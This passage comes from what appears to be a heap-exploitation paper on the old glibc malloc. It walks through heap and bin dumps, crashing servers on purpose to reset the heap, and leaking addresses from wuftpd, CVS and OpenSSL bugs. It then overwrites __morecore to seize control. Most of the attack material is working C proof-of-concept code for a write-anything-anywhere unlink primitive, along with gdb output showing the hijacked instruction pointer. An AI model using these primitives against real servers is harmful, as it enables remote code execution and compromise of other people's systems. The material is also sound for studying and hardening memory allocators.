arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 1 @ 0x40018048
      free_chunk @ 0x8049938 - size 0x0080
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080


--- HEAP LAYOUT ---
|A||A||16||A||A||L||A||T|
```

As the last_remainder size is not enough for the requested allocation, the last remainder is cleared and inserted as a new free chunk into the corresponding bin. Then, the other free chunk is taken from its bin and split as in the previous step.

```
13              dipsi = malloc(1500);

[1679] MALLOC(1500) - CHUNK_ALLOC(0x40018040,1504)
    clearing last_remainder
    frontlink(0x8049938,128,16,0x400180c0,0x8049728) last_remainder
    extended top chunk:
        previous size 0x540
        new top 0x804a0a0 size 0xf61
        returning 0x8049ac0 from top chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD            BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x08049728 | 0x400180c0 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x05e1 (A)
chunk     0x804a0a0 0x0f61 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x804a0a0 - top size = 0x0f60
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080
      free_chunk @ 0x8049938 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||A||T|
```

As no available free chunk is enough for the requested allocation size, the top chunk was extended again.

```
14              free(dipsi);

[1679] FREE(0x8049ac8) - CHUNK_FREE(0x40018040,0x8049ac0)
    merging with top
    new top 0x8049ac0

--- HEAP DUMP ---
            ADDRESS   SIZE                FD            BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x 8049728 | 0x400180c0 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x1541 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x1540
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080
      free_chunk @ 0x8049938 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||T|
```

The chunk next to the top chunk is freed, so it gets coalesced with it, and it is not inserted in any bin.

```
15              free(lala);

[1679] FREE(0x80499c0) - CHUNK_FREE(0x40018040,0x80499b8)
    unlink(0x8049938,0x400180c0,0x8049728) for back consolidation
    merging with top
    new top 0x8049938

--- HEAP DUMP ---
            ADDRESS   SIZE                FD            BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x16c9 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049938 - top size = 0x16c8
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080
```

```
--- HEAP LAYOUT ---
|A||A||16||A||A||T|
```

Again, but this time also the chunk before the freed chunk is coalesced, as it was already free.

--] 4.3 - Layout reset - initial layout prediction - server model

In this section, we analyse how different scenarios may impact on the exploitation process.
In case of servers that get restarted, it may be useful to cause a 'heap reset', which means crashing the process on purpose in order to obtain a clean and known initial heap layout.
The new heap that gets built together with the new restarted process is in its 'initial layout'. This refers to the initial state of the heap after the process initialization, before receiving any input from the user. The initial layout can be easily predicted and used as a the known starting point for the heap layout evolution prediction, instead of using a not virgin layout result of several modifications performed while serving client requests. This initial layout may not vary much across different versions of the targeted server, but in case of major changes in the source code.
One issue very related to the heap layout analysis is the kind of process being exploited.
In case of a process that serves several clients, heap layout evolution prediction is harder, as may be influenced by other clients that may be interacting with our target server while we are trying to exploit it. However, it gets useful in case where the interaction between the server and the client is very restricted, as it enables the attacker to open multiple connections to affect the same process with different input commands.
On the other hand, exploiting a one client per process server (i.e. a forking server) is easier, as long as we can accurately predict the initial heap layout and we are able to populate the process memory in a fully controlled way.
As it is obvious, a server that does not get restarted, gives us just one shot so, for example, bruteforcing and/or 'heap reset' can't be applied.

--] 4.4 Obtaining information from the remote process

The idea behind the techniques in this section is to force a remote server to give us information to aid us in finding the memory locations needed for exploitation.
This concept was already used as different mechanisms in the 'Bypassing PaX ASLR' paper [13], used to bypass randomized space address processes.
Also, the idea was suggested in [4], as 'transforming a write primitive in a read primitive'.

--] 4.4.1 Modifying server static data - finding process' DATA

This technique was originally seen in wuftpd ~{ exploits. When the ftpd process receives a 'help' request, answers with all the available commands. These are stored in a table which is part of the process' DATA, being a static structure. The attacker tries to overwrite part of the structure, and using the 'help' command until he sees a change in the server's answer.

Now the attacker knows an absolute address within the process' DATA, being able to predict the location of the process' GOT.

--] 4.4.2 Modifying user input - finding shellcode location

The following technique allows the attacker to find the exact location of the injected shellcode within the process' address space, being independent of the target process.
To obtain the address, the attacker provides the process with some bogus data, which is stored in some part of the process. Then, the basic primitive is used, trying to write 4 bytes in the location the bogus data was previously stored. After this, the server is forced to reply using the supplied bogus data.
If the replayed data differs from the original supplied (taken into account any transformation the server may perform on our input), we can be sure that next time we send the same input sequence to the server, it will be

stored in the same place. The server's answer may be truncated if a function expecting NULL terminating strings is used to craft it, or to obtain the answer's length before sending it through the network.

In fact, the provided input may be stored multiple times in different locations, we will only detect a modification when we hit the location where the server reply is crafted.

Note we are able to try two different addresses for each connection, speeding up the bruteforcing mechanism.

The main requirement needed to use this trick, is being able to trigger the aa4bmo primitive between the time the supplied data is stored and the time the server's reply is built. Understanding the process allocation behavior, including how is processed each available input command is needed.

--] 4.4.2.1 Proof of concept 3 : Hitting the output

The following code simulates a process which provides us with a aa4bmo primitive to try to find where a heap allocated output buffer is located:

```
#include <stdio.h>
#define SZ           256
#define SOMEOFFSET   5 + (rand() % (SZ-1))
#define PREV_INUSE   1
#define IS_MMAP      2
#define OUTPUTSZ     1024

void aa4bmoPrimitive(unsigned long what, unsigned long where){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   free(unlinkMe+SOMEOFFSET);
   return;
}

int main(int argc, char **argv){
   long where;
   char *output;
   int contador,i;

   printf("## OUTPUT hide and seek ##\n\n");
   output = (char*)malloc(OUTPUTSZ);
   memset(output,'O',OUTPUTSZ);

   for(contador=1;argv[contador]!=NULL;contador++){
      where = strtol(argv[contador], (char **)NULL, 16);
        printf("[.] trying %p\n",where);

      aa4bmoPrimitive(where,where);

      for(i=0;i<OUTPUTSZ;i++)
         if(output[i] != 'O'){
            printf("(!) you found the output @ %p :(\n",where);
            printf("[%s]\n",output);
            return 0;
         }
      printf("(-) output was not @ %p :P\n",where);
   }
   printf("(x) did not find the output <:|\n");
}
```

```
LD_PRELOAD=./heapy.so ./hitOutput 0x8049ccc 0x80498b8 0x8049cd0 0x8049cd4
0x8049cd8 0x8049cdc 0x80498c8 > output

## OUTPUT hide and seek ##

[.] trying 0x8049ccc
```

```
(-) output was not @ 0x8049ccc :P
[.] trying 0x80498b8
(-) output was not @ 0x80498b8 :P
[.] trying 0x8049cd0
(-) output was not @ 0x8049cd0 :P
[.] trying 0x8049cd4
(-) output was not @ 0x8049cd4 :P
[.] trying 0x8049cd8
(-) output was not @ 0x8049cd8 :P
[.] trying 0x8049cdc
(-) output was not @ 0x8049cdc :P
[.] trying 0x80498c8
(!) you found the output @ 0x80498c8 :(
[OOOOOOOO~X^D^H~X^D^HOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
...
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO]
```

Note the stamped output in the following hexdump:

```
...
7920 756f 6620 756f 646e 7420 6568 6f20
7475 7570 2074 2040 7830 3038 3934 6338
2038 283a 5b0a 4f4f 4f4f 4f4f 4f4f 98c8   <==
0804 98c8 0804 4f4f 4f4f 4f4f 4f4f 4f4f   <==
4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f
4f4f 4f4f 4f4f 0a5d
```

This bruteforcing mechanism is not completely accurate in some cases, for example, when the target server uses an output buffering scheme.
In order to improve the technique, we might mark some part of the supplied data as real shellcode, and other as nops, requiring the nop part to be hit while bruteforcing in order to avoid obtaining an address in the middle of our shellcode. Even better, we could tag each four bytes with a masked offset (i.e. to avoid character \x00 i.e.), when we analyse the reply we will now obtain the expected offset to the shellcode, so being able in a second try to see if actually in that expected address was stored our shellcode, detecting and avoiding this way the risk of our input being split and stored separated in the heap.

For example, in the CVS 'Directory' double free exploit [7], unrecognized commands (i.e. 'cucucucucu') are used to populate the server heap. The server does not answer, just stores the provided data in the heap, and waits, until a noop or a command is received. After that, the unrecognized command that was sent is sent back without any modification to the client. We can provide the server with data almost without any size restriction, this data is stored in the heap, until we force it to be replayed to us. However, analysing how our unrecognized command is stored in the heap we find that, instead of what we expected (a single memory chunk with our data), there are other structures mixted with our input:

```
--- HEAP DUMP ---
            ADDRESS    SIZE              FD           BK
[...]
chunk     0x80e9998 0x00661 (F) | 0x40018e48 | 0x40018e48 |
chunk     0x80e9ff8 0x10008 (A)
chunk     0x80fa000 0x00ff9 (F) | 0x40018ed0 | 0x0810b000 |
chunk     0x80faff8 0x10008 (A)
chunk     0x810b000 0x00ff9 (F) | 0x080fa000 | 0x0811c000 |
chunk     0x810bff8 0x10008 (A)
chunk     0x813e000 0x04001 (T)
sbrk_end  0x8142000
```

This happens because error messages are buffered when generated, waiting to be flushed, some buffering state internal structures get allocated, and our data is split and stored in fixed size error buffers.

--] 4.4.3 Modifying user input - finding libc's DATA

In this situation, we are able to provide some input to the vulnerable server which is then sent as output to us again. For example, in the CVS 'Directory' double free() vulnerability, we give the server and invalid command, which is finally echoed back to the client explaining it was an invalid command.
If we are able to force a call to free(), to an address pointing in

somewhere in the middle of our provided input, before it is sent back to the client, we will be able to get the address of a main_arena's bin.
The ability to force a free() pointing to our supplied input, depends on the exploitation scenario, being simple to achieve this in 'double-free' situations.
When the server frees our input, it founds a very big sized chunk, so it links it as the first chunk (lonely chunk) of the bin. This depends mainly on the process heap layout, but depending on what we are exploiting it should be easy to predict which size would be needed to create the new free chunk as a lonely one.
When frontlink() setups the new free chunk, it saves the bin address in the fw and bk pointer of the chunk, being this what ables us to obtain later the bin address.
Note we should be careful with our input chunk, in order to avoid the process crashing while freeing our chunk, but this is quite simple in most cases, i.e. providing a known address near the end of the stack.

The user provides as input a 'cushion chunk' to the target process. free() is called in any part of our input, so our especially crafted chunk is inserted in one of the last bins (we may know it's empty from the heap analysis stage, avoiding then a process crash). When the provided cushion chunk is inserted into the bin, the bin's address is written in the fd and bk fields of the chunk's header.

--] 4.4.3.1 Proof of concept 4 : Freeing the output

The following code creates a 'cushion chunk' as it would be sent to the server, and calls free() at a random location within the chunk (as the target server would do).
The cushion chunk writes to a valid address to avoid crashing the process, and its backward and forward pointer are set with the bin's address by the frontlink() macro.
Then, the code looks for the wanted addresses within the output, as would do an exploit which received the server answer.

```
#include <stdio.h>
#define SZ            256
#define SOMEOFFSET    5 + (rand() % (SZ-1))
#define PREV_INUSE    1
#define IS_MMAP       2

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   printf ("(-) calling free() at random address of output buffer...\n");
   free(unlinkMe+SOMEOFFSET);
   return unlinkMe;
}

int main(int argc, char **argv){
   unsigned long *output;
   int i;

   printf("## FREEING THE OUTPUT PoC ##\n\n");
   printf("(-) creating output buffer...\n");
   output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4);
   printf("(-) looking for bin address...\n");
   for(i=0;i<SZ-1;i++)
      if(output[i] == output[i+1] &&
       ((output[i] & 0xffff0000) != 0xffff0000)) {
         printf("(!) found bin address -> %p\n",output[i]);
         return 0;
      }
   printf("(x) did not find bin address\n");
}
```

```
./freeOutput

## FREEING THE OUTPUT PoC ##

(-) creating output buffer...
(-) calling free() at random address of output buffer...
(-) looking for bin address...
(!) found bin address -> 0x4212b1dc
```

We get chunk free with our provided buffer:

```
chunk_free (ar_ptr=0x40018040, p=0x8049ab0) at heapy.c:3221
(gdb) x/20x p
0x8049ab0:      0xfffffd6d      0xfffffd69      0xfffffd65      0xfffffd61
0x8049ac0:      0xfffffd5d      0xfffffd59      0xfffffd55      0xfffffd51
0x8049ad0:      0xfffffd4d      0xfffffd49      0xfffffd45      0xfffffd41
0x8049ae0:      0xfffffd3d      0xfffffd39      0xfffffd35      0xfffffd31
0x8049af0:      0xfffffd2d      0xfffffd29      0xfffffd25      0xfffffd21
(gdb)
0x8049b00:      0xfffffd1d      0xfffffd19      0xfffffd15      0xfffffd11
0x8049b10:      0xfffffd0d      0xfffffd09      0xfffffd05      0xfffffd01
0x8049b20:      0xfffffcfd      0xfffffcf9      0xfffffcf5      0xfffffcf1
0x8049b30:      0xfffffced      0xfffffce9      0xfffffce5      0xfffffce1
0x8049b40:      0xfffffcdd      0xfffffcd9      0xfffffcd5      0xfffffcd1
(gdb)
0x8049b50:      0xfffffccd      0xfffffcc9      0xfffffcc5      0xfffffcc1
0x8049b60:      0xfffffcbd      0xfffffcb9      0xfffffcb5      0xfffffcb1
0x8049b70:      0xfffffcad      0xfffffca9      0xfffffca5      0xfffffca1
0x8049b80:      0xfffffc9d      0xfffffc99      0xfffffc95      0xfffffc91
0x8049b90:      0xfffffc8d      0xfffffc89      0xfffffc85      0xfffffc81
(gdb)

3236      next = chunk_at_offset(p, sz);
3237      nextsz = chunksize(next);
3239      if (next == top(ar_ptr)) /* merge with top */
3278      islr = 0;
3280      if (!(hd & PREV_INUSE))  /* consolidate backward */
3294      if (!(inuse_bit_at_offset(next, nextsz)))
            /* consolidate forward */
3296        sz += nextsz;
3298        if (!islr && next->fd == last_remainder(ar_ptr))
3306          unlink(next, bck, fwd);
3315      set_head(p, sz | PREV_INUSE);
3316      next->prev_size = sz;
3317      if (!islr) {
3318        frontlink(ar_ptr, p, sz, idx, bck, fwd);
```

After the frontlink() macro is called with our supplied buffer, it gets
the address of the bin in which it is inserted:

```
fronlink(0x8049ab0,-668,126,0x40018430,0x40018430) new free chunk

(gdb) x/20x p

0x8049ab0:      0xfffffd6d      0xfffffd65      0x40018430      0x40018430
0x8049ac0:      0xfffffd5d      0xfffffd59      0xfffffd55      0xfffffd51
0x8049ad0:      0xfffffd4d      0xfffffd49      0xfffffd45      0xfffffd41
0x8049ae0:      0xfffffd3d      0xfffffd39      0xfffffd35      0xfffffd31
0x8049af0:      0xfffffd2d      0xfffffd29      0xfffffd25      0xfffffd21

(gdb) c
Continuing.
(-) looking for bin address...
(!) found bin address -> 0x40018430
```

Let's check the address we obtained:

```
(gdb) x/20x 0x40018430
0x40018430 <main_arena+1008>:   0x40018428      0x40018428      0x08049ab0
0x08049ab0
0x40018440 <main_arena+1024>:   0x40018438      0x40018438      0x40018040
0x000007f0
0x40018450 <main_arena+1040>:   0x00000001      0x00000000      0x00000001
```

```
0x0000016a
0x40018460 <__FRAME_END__+12>:  0x0000000c      0x00001238      0x0000000d
0x0000423c
0x40018470 <__FRAME_END__+28>:  0x00000004      0x00000094      0x00000005
0x4001370c
```

And we see it's one of the last bins of the main_arena.

Although in this example we hit the cushion chunk in the first try on purpose, this technique can be applied to brute force the location of our output buffer also at the same time (if we don't know it beforehand).

--] 4.4.4 Vulnerability based heap memory leak - finding libc's data

In this case, the vulnerability itself leads to leaking process memory. For example, in the OpenSSL 'SSLv2 Malformed Client Key Buffer Overflow' vulnerability [6], the attacker is able to overflow a buffer and overwrite a variable used to track a buffer length.
When this length is overwritten with a length greater than the original, the process sends the content of the buffer (stored in the process' heap) to the client, sending more information than the originally stored. The attacker obtains then a limited portion of the process heap.

--] 4.5 Abusing the leaked information

The goal of the techniques in this section is to exploit the information gathered using one of the process information leak tricks shown before.

--] 4.5.1 Recognizing the arena

The idea is to get from the previously gathered information, the address of a malloc's bin. This applies mainly to scenarios were we are able to leak process heap memory. A bin address can be directly obtained if the attacker is able to use the 'freeing the output' technique.
The obtained bin address can be used later to find the address of a function pointer to overwrite with the address of our shellcode, as shown in the next techniques.

Remembering how the bins are organized in memory (circular double linked lists), we know that a chunk hanging from any bin containing just one chunk will have both pointers (bk and fd) pointing to the head of the list, to the same address, since the list is circular.

```
   [bin_n]          (first chunk)
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd
                           [    chunk
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk
   [bin_n+1]        (last chunk)

     .
     .
     .

   [bin_X]
      ptr] ---->  [<-  fd
                  [    lonely but interesting chunk
      ptr] ---->  [<-  bk
     .
     .
```

This is really nice, as it allows us to recognize within the heap which address is pointing to a bin, located in libc's space address more exactly, to some place in the main_arena as this head of the bin list is located in the main_arena.

Then, we can look for two equal memory addresses, one next to the other, pointing to libc's memory (looking for addresses of the form 0x4....... is enough for our purpose). We can suppose these pairs of addresses we found are part of a free chunk which is the only one hanging of a bin, we know it looks like...

```
   size | fd | bk
```

How easy is to find a lonely chunk in the heap immensity?
First, this depends on the exploitation scenario and the exploited process heap layout. For example, when exploiting the OpenSSL bug along different targets, we could always find at least a lonely chunk within the leaked heap memory.
Second, there is another scenario in which we will be able to locate a malloc bin, even without the capability to find a lonely chunk. If we are able to find the first or last chunk of a bin, one of its pointers will reference an address within main_arena, while the other one will point to another free chunk in the process heap. So, we'll be looking for pairs of valid pointers like these:

```
   [ ptr_2_libc's_memory | ptr_2_process'_heap ]

   or

   [ ptr_2_process'_heap | ptr_2_libc's_memory ]
```

We must take into account that this heuristic will not be as accurate as searching for a pair of equal pointers to libc's space address, but as we already said, it's possible to cross-check between multiple possible chunks.
Finally, we must remember this depends totally on the way we are abusing the process to read its memory. In case we can read arbitrary addresses of memory, this is not an issue, the problem gets harder as more limited is our mechanism to retrieve remote memory.

--] 4.5.2 Morecore

Here, we show how to find a function pointer within the libc after obtaining a malloc bin address, using one of the before explained mechanisms.

Using the size field of the retrieved chunk header and the bin_index() or smallbin_index() macro we obtain the exact address of the main_arena.
We can cross check between multiple supposed lonely chunks that the main_arena address we obtained is the real one, depending on the quantity of lonely chunks pairs we'll be more sure. As long as the process doesn't crash, we may retrieve heap memory several times, as main_arena won't change its location. Moreover, I think it wouldn't be wrong to assume main_arena is located in the same address across different processes (this depends on the address on which the libc is mapped). This may even be true across different servers processes, allowing us to retrieve the main_arena through a leak in a process different from the one being actively exploited.

Just 32 bytes before &main_arena[0] is located __morecore.

```
Void_t *(*__morecore)() = __default_morecore;
```

MORECORE() is the name of the function that is called through malloc code in order to obtain more memory from the operating system, it defaults to sbrk().

```
Void_t * __default_morecore ();
Void_t *(*__morecore)() = __default_morecore;
#define MORECORE (*__morecore)
```

The following disassembly shows how MORECORE is called from chunk_alloc() code, an indirect call to __default_morecore is performed by default:

```
<chunk_alloc+1468>:  mov    0x64c(%ebx),%eax
<chunk_alloc+1474>:  sub    $0xc,%esp
<chunk_alloc+1477>:  push   %esi
<chunk_alloc+1478>:  call   *(%eax)
```

where $eax points to __default_morecore

```
(gdb) x/x $eax
0x4212df80 <__morecore>:   0x4207e034

(gdb) x/4i 0x4207e034
```

```
0x4207e034 <__default_morecore>: push   %ebp
0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp
0x4207e037 <__default_morecore+3>:  push   %ebx
0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp
```

MORECORE() is called from the malloc() algorithm to extend the memory top, requesting the operating system via the sbrk.

MORECORE() gets called twice from malloc_extend_top()

```
    brk = (char*)(MORECORE (sbrk_size));
    ...
    /* Allocate correction */
    new_brk = (char*)(MORECORE (correction));
```

which is called by chunk_alloc():

```
    /* Try to extend */
    malloc_extend_top(ar_ptr, nb);
```

Also, MORECORE is called by main_trim() and top_chunk().

We just need to sit and wait until the code reaches any of these points.
In some cases it may be necessary to arrange things in order to avoid the code crashing before.
The morecore function pointer is called each time the heap needs to be extended, so forcing the process to allocate a lot of memory is recommended after overwriting the pointer.
In case we are not able to avoid a crash before taking control of the process, there's no problem (unless the server dies completely), as we can expect the libc to be mapped in the same address in most cases.

--] 4.5.2.1 Proof of concept 5 : Jumping with morecore

The following code just shows to get the required information from a freed chunk, calculates the address of __morecore and forces a call to MORECORE() after having overwritten it.

```
[jp@vaiolator heapy]$ ./heapy
(-) lonely chunk was freed, gathering information...
   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
   (!) the chunk is in bin number 64
   (!) &main_arena[0] @ 0x4212DFA0
   (!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...
Segmentation fault
```

Let's look what happened with gdb, we'll also be using a simple modified malloc in the form of a shared library to know what is going on inside malloc's internal structures.

```
[jp@vaiolator heapy]$ gdb heapy
GNU gdb Red Hat Linux (5.2-2)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/jp/cerebro//heapy/morecore
(-) lonely chunk was freed, gathering information...
   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
   (!) the chunk is in bin number 64
   (!) &main_arena[0] @ 0x4212DFA0
   (!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...

Program received signal SIGSEGV, Segmentation fault.
```

```
0x41414141 in ?? ()
```

Taking a look at the output step by step:

First we alloc our lonely chunk:

```
    chunk = (unsigned int*)malloc(CHUNK_SIZE);
(gdb) x/8x chunk-1
0x80499d4:  0x00000209  0x00000000  0x00000000  0x00000000
0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000
```

Note we call malloc() again with another pointer, letting this aux pointer be the chunk next to the top_chunk... to avoid the differences in the way it is handled when freed with our purposes (remember in this special case the chunk would be coalesced with the top_chunk without getting linked to any bin):

```
        aux = (unsigned int*)malloc(0x0);

[1422] MALLOC(512) - CHUNK_ALLOC(0x40019bc0,520)
   - returning 0x8049a18 from top_chunk
   - new top 0x8049c20 size 993
[1422] MALLOC(0)   - CHUNK_ALLOC(0x40019bc0,16)
   - returning 0x8049c20 from top_chunk
   - new top 0x8049c30 size 977
```

This is the way the heap looks like up to now...

```
--- HEAP DUMP ---
                ADDRESS SIZE       FLAGS
sbrk_base   0x80499f8
chunk       0x80499f8 33(0x21)   (inuse)
chunk       0x8049a18 521(0x209) (inuse)
chunk       0x8049c20 17(0x11)   (inuse)
chunk       0x8049c30 977(0x3d1) (top)
sbrk_end    0x804a000

--- HEAP LAYOUT ---
|A||A||A||T|

--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30
```

No bins at all exist now, they are completely empty.

After that we free him:

```
   free(chunk);

[1422] FREE(0x8049a20) - CHUNK_FREE(0x40019bc0,0x8049a18)
   - fronlink(0x8049a18,520,64,0x40019dc0,0x40019dc0)
   - new free chunk

(gdb) x/8x chunk-1
0x80499d4:  0x00000209  0x4212e1a0  0x4212e1a0  0x00000000
0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000
```

The chunk was freed and inserted into some bin... which was empty as this was the first chunk freed. So this is a 'lonely chunk', the only chunk in one bin.
Here we can see both bk and fd pointing to the same address in libc's memory, let's see how the main_arena looks like now:

```
0x4212dfa0 <main_arena>:     0x00000000  0x00010000  0x08049be8  0x4212dfa0
0x4212dfb0 <main_arena+16>:   0x4212dfa8  0x4212dfa8  0x4212dfb0  0x4212dfb0
0x4212dfc0 <main_arena+32>:   0x4212dfb8  0x4212dfb8  0x4212dfc0  0x4212dfc0
0x4212dfd0 <main_arena+48>:   0x4212dfc8  0x4212dfc8  0x4212dfd0  0x4212dfd0
0x4212dfe0 <main_arena+64>:   0x4212dfd8  0x4212dfd8  0x4212dfe0  0x4212dfe0
0x4212dff0 <main_arena+80>:   0x4212dfe8  0x4212dfe8  0x4212dff0  0x4212dff0
0x4212e000 <main_arena+96>:   0x4212dff8  0x4212dff8  0x4212e000  0x4212e000
0x4212e010 <main_arena+112>:  0x4212e008  0x4212e008  0x4212e010  0x4212e010
0x4212e020 <main_arena+128>:  0x4212e018  0x4212e018  0x4212e020  0x4212e020
0x4212e030 <main_arena+144>:  0x4212e028  0x4212e028  0x4212e030  0x4212e030
...
...
```

```
0x4212e180 <main_arena+480>:  0x4212e178  0x4212e178  0x4212e180  0x4212e180
0x4212e190 <main_arena+496>:  0x4212e188  0x4212e188  0x4212e190  0x4212e190
0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0  0x080499d0
0x4212e1b0 <main_arena+528>:  0x4212e1a8  0x4212e1a8  0x4212e1b0  0x4212e1b0
0x4212e1c0 <main_arena+544>:  0x4212e1b8  0x4212e1b8  0x4212e1c0  0x4212e1c0
```

Note the completely just initialized main_arena with all its bins pointing to themselves, and the just added free chunk to one of the bins...

```
(gdb) x/4x 0x4212e1a0
0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0  0x080499d0
```

Also, both bin pointers refer to our lonely chunk.

Let's take a look at the heap in this moment:

```
--- HEAP DUMP ---
                ADDRESS    SIZE       FLAGS
sbrk_base   0x80499f8
chunk       0x80499f8 33(0x21)   (inuse)
chunk       0x8049a18 521(0x209) (free)      fd = 0x40019dc0 | bk = 0x40019dc0
chunk       0x8049c20 16(0x10)   (inuse)
chunk       0x8049c30 977(0x3d1) (top)
sbrk end    0x804a000

--- HEAP LAYOUT ---
|A||64||A||T|

--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30
   bin -> 64 (0x40019dc0)
      free_chunk 0x8049a18 - size 520
```

Using the known size of the chunk, we know in which bin it was placed, so we can get main_arena's address and, finally, __morecore.

```
(gdb) x/16x 0x4212dfa0-0x20
0x4212df80 <__morecore>:    0x4207e034  0x00000000  0x00000000  0x00000000
0x4212df90 <__morecore+16>:    0x00000000  0x00000000  0x00000000  0x00000000
0x4212dfa0 <main_arena>:    0x00000000  0x00010000  0x08049be8  0x4212dfa0
0x4212dfb0 <main_arena+16>:    0x4212dfa8  0x4212dfa8  0x4212dfb0  0x4212dfb0
```

Here, by default __morecore points to __default_morecore:

```
(gdb) x/20i __morecore
0x4207e034 <__default_morecore>: push   %ebp
0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp
0x4207e037 <__default_morecore+3>:  push   %ebx
0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp
0x4207e03b <__default_morecore+7>:  call   0x4207e030 <memalign_hook_ini+64>
0x4207e040 <__default_morecore+12>: add    $0xb22cc,%ebx
0x4207e046 <__default_morecore+18>: mov    0x8(%ebp),%eax
0x4207e049 <__default_morecore+21>: push   %eax
0x4207e04a <__default_morecore+22>: call   0x4201722c <_r_debug+33569648>
0x4207e04f <__default_morecore+27>: mov    0xfffffffc(%ebp),%ebx
0x4207e052 <__default_morecore+30>: mov    %eax,%edx
0x4207e054 <__default_morecore+32>: add    $0x10,%esp
0x4207e057 <__default_morecore+35>: xor    %eax,%eax
0x4207e059 <__default_morecore+37>: cmp    $0xffffffff,%edx
0x4207e05c <__default_morecore+40>: cmovne %edx,%eax
0x4207e05f <__default_morecore+43>: mov    %ebp,%esp
0x4207e061 <__default_morecore+45>: pop    %ebp
0x4207e062 <__default_morecore+46>: ret
0x4207e063 <__default_morecore+47>: lea    0x0(%esi),%esi
0x4207e069 <__default_morecore+53>: lea    0x0(%edi,1),%edi
```

To conclude, we overwrite __morecore with a bogus address, and force malloc to call __morecore:

```
   *(unsigned int*)morecore = 0x41414141;
   chunk=(unsigned int*)malloc(CHUNK_SIZE*4);
```

```
[1422] MALLOC(2048) - CHUNK_ALLOC(0x40019bc0,2056)
   - extending top chunk
   - previous size 976

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) bt
#0  0x41414141 in ?? ()
#1  0x4207a148 in malloc () from /lib/i686/libc.so.6
#2  0x0804869d in main (argc=1, argv=0xbffffad4) at heapy.c:52
#3  0x42017589 in __libc_start_main () from /lib/i686/libc.so.6

(gdb) frame 1
#1  0x4207a148 in malloc () from /lib/i686/libc.so.6
(gdb) x/i $pc-0x5
0x4207a143 <malloc+195>:   call   0x4207a2f0 <chunk_alloc>
(gdb) disass chunk_alloc
Dump of assembler code for function chunk_alloc:
...
0x4207a8ac <chunk_alloc+1468>:   mov    0x64c(%ebx),%eax
0x4207a8b2 <chunk_alloc+1474>:   sub    $0xc,%esp
0x4207a8b5 <chunk_alloc+1477>:   push   %esi
0x4207a8b6 <chunk_alloc+1478>:   call   *(%eax)

